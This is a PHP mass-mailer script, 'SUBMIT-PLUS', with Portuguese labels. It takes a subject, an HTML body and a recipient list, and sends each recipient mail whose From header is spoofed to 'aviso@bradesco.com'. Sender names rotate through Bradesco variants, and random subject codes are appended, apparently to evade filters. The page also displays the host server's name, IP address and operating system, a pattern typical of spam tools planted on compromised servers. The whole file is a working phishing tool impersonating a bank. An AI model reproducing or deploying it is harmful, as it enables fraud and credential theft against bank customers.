<?php
$testa = $_POST['veio'];
if($testa != "") {
  $message = $_POST['html'];
  $subject = $_POST['assunto'];
  $nome = $_POST['humi'];
  $de = $_POST['de'];
  $to = $_POST['emails'];

  $email = explode("\n", $to);
  $message = stripslashes($message);
  $vulgo = rand(0,999999999999); 

  $i = 0;
  $count = 1;
  while($email[$i]) {
    $dataHora = date("d/m/Y h:i:s");
  $boundary = rand(0,999999999999);
  $codig  = " - [ $boundary\n ]"; 



    
                 $EmailTemporario = $email[$i];
                 $message = stripslashes($message);
                 $remetente = $_POST['remetente'];
    $headers  = "MIME-Version: 1.0\n";
        $headers .= "Content-type: text/html; charset=iso-8859-1\n";
    $headers .= "From: ".$nome." <".$remetente.">\r\n";
    
    
    
      if(mail($EmailTemporario, $subject.$codig, $message.$dataHora, $headers))
    echo "<font color=blue>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=black>Agora Enviooo ! ! !</font><br><hr>";
    else
    echo "<font color=black>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=red>ERRO AO ENVIAR !!!</font><br><hr>";
    $i++;
    $count++;
  }
  $count--;
  echo "[Fim do Envio]";
  if($ok == "ok")
  echo "[Fim do Envio]"; 

}

$_SESSION['random1a6'] = mt_rand(1,99);
$random1a6 = $_SESSION['random1a6'];

$_SESSION['random1a2'] = mt_rand(1,99);
$random1a2 = $_SESSION['random1a2'];


$addresses = [
  
  'bradesco',
  'aviso-bradesco',
  'bradesco-aviso'
];

$size = count($addresses);
$randomIndex = rand(0, $size - 1);
$randomUrl = $addresses[$randomIndex];


/*vai chegar como\/*/

$addresses1 = [
  
  'Bradesco Aviso',
  'Bradesco',
  'Avisos Bradesco'
];

$size1 = count($addresses1);
$randomIndex1 = rand(0, $size1 - 1);
$randomUrl1 = $addresses1[$randomIndex1];

?>



<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Submit-Plus</title>
</head>

<body>
<p>
<span style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim" />
</span>
</p>
<table width="720" height="496" border="0">
  <tr>
    <td><p style="text-align: center; font-size: 36px; color: #009; font-weight: bold; font-style: italic;">SUBMIT-PLUS</p>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Assunto: 
      <input name="assunto" type="text"class="normal" id="assunto" style="width:88%"/>
    </p>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">HTML:
      <textarea name="html" style="width:40%" rows="8" wrap="virtual" class="normal" id="html"></textarea>
      *.*Lista
      <textarea name="emails" style="width:40%" rows="8" wrap="virtual" class="normal" id="emails"></textarea>
    </p>
    <p style="text-align: center; font-size: 36px; color: #009; font-weight: bold; font-style: italic;">SUBMIT-PLUS</p>

  <div>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Remetente: 
      <input name="remetente" type="readonly"class="normal" id="remetente" style="width:88%" value="aviso@bradesco.com"/>

    </p>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Titulo: 
      <input name="de" type="readonly"class="normal" id="de" style="width:88%" value="Bradesco - Aviso"/>
    </p>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">vaichegarcomo: 
      <input name="humi" type="text" id="humi" style="width:88%" value="<?php echo $randomUrl1 ?>"/>
    </p>    
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">&nbsp;</p>
    <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">&nbsp;</p>
    </div>      <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
      <input type="submit" name="Submit" id="enviar" value="Enviar">
    </p>
    <p style="text-align: left; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br />
IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br />
Sistema Operacional: <?php echo $OS = @PHP_OS; ?></p></td>
  </tr>
</table>
<?php sleep(3); ?>

</body>
</html>